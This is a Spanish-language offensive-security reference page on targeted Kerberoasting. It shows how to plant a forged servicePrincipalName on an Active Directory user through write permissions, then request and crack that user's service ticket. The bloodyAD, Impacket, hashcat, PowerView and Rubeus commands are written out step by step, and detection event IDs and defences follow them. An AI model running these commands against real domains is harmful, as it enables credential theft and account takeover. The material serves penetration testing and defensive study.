Targeted Kerberoasting (forged SPN)

El Kerberoasting clásico requiere que la víctima tenga un servicePrincipalName (SPN) ya asignado (típicamente cuentas de servicio con MSSQL, IIS, HTTP…). Cuando un usuario cualquiera tiene el permiso WriteSPN, GenericWrite o GenericAll sobre otra cuenta, el atacante puede plantar un SPN inventado y disparar el Kerberoasting contra esa cuenta aunque nunca haya sido de servicio. Es un caso concreto del abuso de ACLs.

Mecanismo

Son tres tiempos: escribir un SPN falso en la víctima, pedir su TGS y crackearlo. Desde Linux con bloodyAD e Impacket:

bloodyAD --host <dc> -d <domain> -u <me> -p <pw> \
  set object <victima> servicePrincipalName -v 'hello/world'

impacket-GetUserSPNs -dc-ip <dc> '<domain>/<me>:<pw>' \
  -request-user <victima> -outputfile hash

hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt
bloodyAD --host <dc> -d <domain> -u <me> -p <pw> \
  set object <victima> servicePrincipalName -v ''      # limpiar el SPN despues

targetedKerberoast.py automatiza el ciclo completo (planta el SPN, roastea y lo borra) para uno o todos los usuarios sobre los que tenemos escritura:

targetedKerberoast.py -d <domain> -u <me> -p <pw> --request-user <victima>

Desde Windows, PowerView hace lo mismo escribiendo el atributo con una PSCredential y Rubeus pide el ticket:

Set-DomainObject -Credential $Cred -Identity <victima> -SET @{serviceprincipalname='notahacker/LEGIT'}
.\Rubeus.exe kerberoast /user:<victima> /nowrap
Set-DomainObject -Credential $Cred -Identity <victima> -Clear serviceprincipalname   # limpiar

El TGS que devuelve el KDC va cifrado con la NT-hash de la víctima (o AES256, según preferred encryption): se craquea offline. Si la contraseña es débil, la cuenta es nuestra.

Requisitos

Una ACE de escritura sobre el servicePrincipalName de la víctima (WriteSPN, GenericWrite, GenericAll o WriteProperty sobre ese atributo), que BloodHound marca como arista. Que el dominio acepte RC4 en el TGS (por defecto sí) acelera el crack; con AES-only el hash sigue siendo crackeable, solo más lento. Y, como siempre en Kerberoasting, que la contraseña de la víctima sea débil.

Cómo detectarlo. El Kerberoasting dirigido deja dos huellas donde el clásico deja una. Plantar el SPN genera un Event ID 5136 (se modificó un objeto del servicio de directorio) sobre el atributo servicePrincipalName de un usuario (no un equipo), algo rarísimo en operación normal, y un 4738 (se modificó una cuenta de usuario). El roast posterior es el mismo 4769 con cifrado RC4 (0x17) del Kerberoasting. Como el atacante limpia el SPN después (-v ''), aparece un segundo 5136 que lo borra: dos modificaciones del servicePrincipalName del mismo usuario en minutos, con un 4769 en medio, es una firma inconfundible. Un usuario cualquiera adquiriendo de golpe un SPN debe disparar alerta.

Defensa. Tratar WriteSPN/GenericWrite sobre usuarios como si fuera GetChangesAll: revisar quién lo tiene y por qué, forzar contraseñas largas o gMSAs en cuentas de servicio para que el roast dirigido no sirva de nada, y exigir AES en el dominio. Encadena con el crackeo de hashes y la reutilización de credenciales.